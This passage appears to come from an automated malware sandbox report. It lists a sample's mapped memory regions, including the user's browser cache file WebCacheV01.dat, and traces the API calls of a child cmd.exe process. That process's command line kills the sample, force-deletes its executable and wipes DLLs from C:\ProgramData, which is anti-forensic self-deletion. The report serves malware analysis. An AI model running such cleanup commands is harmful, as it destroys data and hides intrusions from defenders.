"\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1990 start_va = 0x3f70000 end_va = 0x3f7ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1991 start_va = 0x3f80000 end_va = 0x3f8ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1992 start_va = 0x3f90000 end_va = 0x3f9ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1993 start_va = 0x3fa0000 end_va = 0x3faffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1994 start_va = 0x40b0000 end_va = 0x40bffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1995 start_va = 0x40c0000 end_va = 0x40cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1996 start_va = 0x40d0000 end_va = 0x40dffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1997 start_va = 0x40e0000 end_va = 0x40effff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1998 start_va = 0x40f0000 end_va = 0x40fffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1999 start_va = 0x4100000 end_va = 0x410ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2000 start_va = 0x4110000 end_va = 0x411ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2001 start_va = 0x4120000 end_va = 0x412ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2002 start_va = 0x4140000 end_va = 0x414ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2003 start_va = 0x4150000 end_va = 0x415ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2004 start_va = 0x4160000 end_va = 0x416ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2005 start_va = 0x4170000 end_va = 0x417ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2006 start_va = 0x4180000 end_va = 0x418ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2007 start_va = 0x4190000 end_va = 0x419ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2008 start_va = 0x41a0000 end_va = 0x41affff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2009 start_va = 0x41b0000 end_va = 0x41bffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2010 start_va = 0x41c0000 end_va = 0x41cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2011 start_va = 0x41d0000 end_va = 0x41dffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2012 start_va = 0x41e0000 end_va = 0x41effff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2013 start_va = 0x41f0000 end_va = 0x41fffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2014 start_va = 0x4200000 end_va = 0x420ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2015 start_va = 0x4210000 end_va = 0x421ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2016 start_va = 0x4220000 end_va = 0x422ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2017 start_va = 0x4230000 end_va = 0x423ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2018 start_va = 0x4240000 end_va = 0x424ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2019 start_va = 0x4250000 end_va = 0x425ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2020 start_va = 0x4260000 end_va = 0x426ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2021 start_va = 0x4270000 end_va = 0x427ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2022 start_va = 0x4280000 end_va = 0x428ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2023 start_va = 0x4290000 end_va = 0x429ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2024 start_va = 0x42a0000 end_va = 0x42affff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2025 start_va = 0x42b0000 end_va = 0x42bffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2026 start_va = 0x42c0000 end_va = 0x42cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2027 start_va = 0x42d0000 end_va = 0x42d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000042d0000" filename = "" Region: id = 2028 start_va = 0x42e0000 end_va = 0x42effff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2029 start_va = 0x42f0000 end_va = 0x42fffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2031 start_va = 0x42d0000 end_va = 0x42dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000042d0000" filename = "" Region: id = 2032 start_va = 0x4300000 end_va = 0x430ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2033 start_va = 0x4310000 end_va = 0x431ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2034 start_va = 0x4320000 end_va = 0x432ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2035 start_va = 0x4330000 end_va = 0x433ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Thread: id = 6 os_tid = 0xccc Thread: id = 7 os_tid = 0x1384 Thread: id = 8 os_tid = 0x1d4 Thread: id = 9 os_tid = 0xd68 Thread: id = 10 os_tid = 0xadc Thread: id = 11 os_tid = 0x8a0 Thread: id = 12 os_tid = 0x898 Thread: id = 13 os_tid = 0x888 Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x389ba000" os_pid = "0x89c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x11ac" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /c taskkill /im 1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe /f & timeout /t 6 & del /f /q \"C:\\Users\\RDhJ0CNFevzX\\Desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe\" & del C:\\ProgramData\\*.dll & exit" cur_dir = "C:\\ProgramData\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f142" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 971 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 972 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 973 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 974 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 975 start_va = 0xa0000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 976 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 977 start_va = 0xb40000 end_va = 0xb91fff monitored = 1 entry_point = 0xb54fd0 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 978 start_va = 0xba0000 end_va = 0x4b9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ba0000" filename = "" Region: id = 979 start_va = 0x778f0000 end_va = 0x77a6afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 980 start_va = 0x7ffb0000 end_va = 0x7ffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 981 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 982 start_va = 0x7fff0000 end_va = 0x7dfb28afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 983 start_va = 0x7dfb28b00000 end_va = 0x7ffb28afffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007dfb28b00000" filename = "" Region: id = 984 start_va = 0x7ffb28b00000 end_va = 0x7ffb28cc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 985 start_va = 0x7ffb28cc1000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffb28cc1000" filename = "" Region: id = 986 start_va = 0x1a0000 end_va = 0x1a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 987 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 988 start_va = 0x1c0000 end_va = 0x1c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 989 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 990 start_va = 0x657b0000 end_va = 0x65829fff monitored = 0 entry_point = 0x657c3290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 991 start_va = 0x65840000 end_va = 0x6588ffff monitored = 0 entry_point = 0x65858180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 992 start_va = 0x74650000 end_va = 0x7472ffff monitored = 0 entry_point = 0x74663980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 993 start_va = 0x65830000 end_va = 0x65837fff monitored = 0 entry_point = 0x658317c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 994 start_va = 0x470000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 995 start_va = 0x74650000 end_va = 0x7472ffff monitored = 0 entry_point = 0x74663980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 996 start_va = 0x75e80000 end_va = 0x75ffdfff monitored = 0 entry_point = 0x75f31b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 997 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 998 start_va = 0x7feb0000 end_va = 0x7ffaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 1080 start_va = 0x470000 end_va = 0x52dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1081 start_va = 0x550000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 1082 start_va = 0x75680000 end_va = 0x7573dfff monitored = 0 entry_point = 0x756b5630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1083 start_va = 0x400000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1084 start_va = 0x650000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 1085 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1086 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1087 start_va = 0x1d0000 end_va = 0x1d3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1088 start_va = 0x750000 end_va = 0xa86fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 20 os_tid = 0xba8 [0113.755] GetModuleHandleA (lpModuleName=0x0) returned 0xb40000 [0113.755] __set_app_type (_Type=0x1) [0113.755] __p__fmode () returned 0x75734d6c [0113.755] __p__commode () returned 0x75735b1c [0113.755] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xb55200) returned 0x0 [0113.756] __getmainargs (in: _Argc=0xb660e8, _Argv=0xb660ec, _Env=0xb660f0, _DoWildCard=0, _StartInfo=0xb660fc | out: _Argc=0xb660e8, _Argv=0xb660ec, _Env=0xb660f0) returned 0 [0113.758] GetCurrentThreadId () returned 0xba8 [0113.758] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xba8) returned 0x84 [0113.758] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0113.758] GetProcAddress (hModule=0x74650000, lpProcName="SetThreadUILanguage") returned 0x74692510 [0113.758] SetThreadUILanguage (LangId=0x0) returned 0x409 [0113.767] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0113.767] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ff18 | out: phkResult=0x19ff18*=0x0) returned 0x2 [0113.768] VirtualQuery (in: lpAddress=0x19ff1f, lpBuffer=0x19fed0, dwLength=0x1c | out: lpBuffer=0x19fed0*(BaseAddress=0x19f000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0113.768] VirtualQuery (in: lpAddress=0xa0000, lpBuffer=0x19fed0, dwLength=0x1c | out: lpBuffer=0x19fed0*(BaseAddress=0xa0000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0113.768] VirtualQuery (in: lpAddress=0xa1000, lpBuffer=0x19fed0, dwLength=0x1c | out: lpBuffer=0x19fed0*(BaseAddress=0xa1000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0113.768] VirtualQuery (in: lpAddress=0xa3000, lpBuffer=0x19fed0, dwLength=0x1c | out: lpBuffer=0x19fed0*(BaseAddress=0xa3000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0113.768] VirtualQuery (in: lpAddress=0x1a0000, lpBuffer=0x19fed0, dwLength=0x1c | out: lpBuffer=0x19fed0*(BaseAddress=0x1a0000, AllocationBase=0x1a0000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0113.768] GetConsoleOutputCP () returned 0x1b5 [0113.882] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xb6f460 | out: lpCPInfo=0xb6f460) returned 1 [0113.882] SetConsoleCtrlHandler (HandlerRoutine=0xb60e40, Add=1) returned 1 [0113.883] _get_osfhandle (_FileHandle=1) returned 0x3c [0113.883] SetConsoleMode (hConsoleHandle=0x3c, dwMode=0x0) returned 1 [0113.885] _get_osfhandle (_FileHandle=1) returned 0x3c [0113.885] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xb6f40c | out: lpMode=0xb6f40c) returned 1 [0113.888] _get_osfhandle (_FileHandle=1) returned 0x3c [0113.888] SetConsoleMode (hConsoleHandle=0x3c, dwMode=0x7) returned 1 [0113.891] _get_osfhandle (_FileHandle=0) returned 0x38 [0113.891] GetConsoleMode (in: hConsoleHandle=0x38, lpMode=0xb6f408 | out: lpMode=0xb6f408) returned 1 [0113.895] _get_osfhandle (_FileHandle=0) returned 0x38 [0113.895] SetConsoleMode (hConsoleHandle=0x38, dwMode=0x1a7) returned 1 [0113.897] GetEnvironmentStringsW () returned 0x5580e8* [0113.897] GetProcessHeap () returned 0x550000 [0113.897] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xacc) returned 0x558bc0 [0113.897] FreeEnvironmentStringsA (penv="A") returned 1 [0113.897] GetProcessHeap () returned 0x550000 [0113.897] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x4) returned 0x550550 [0113.897] GetEnvironmentStringsW () returned 0x5580e8* [0113.897] GetProcessHeap () returned 0x550000 [0113.897] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xacc) returned 0x559698 [0113.897] FreeEnvironmentStringsA (penv="A") returned 1 [0113.897] RegOpenKeyExW (in: 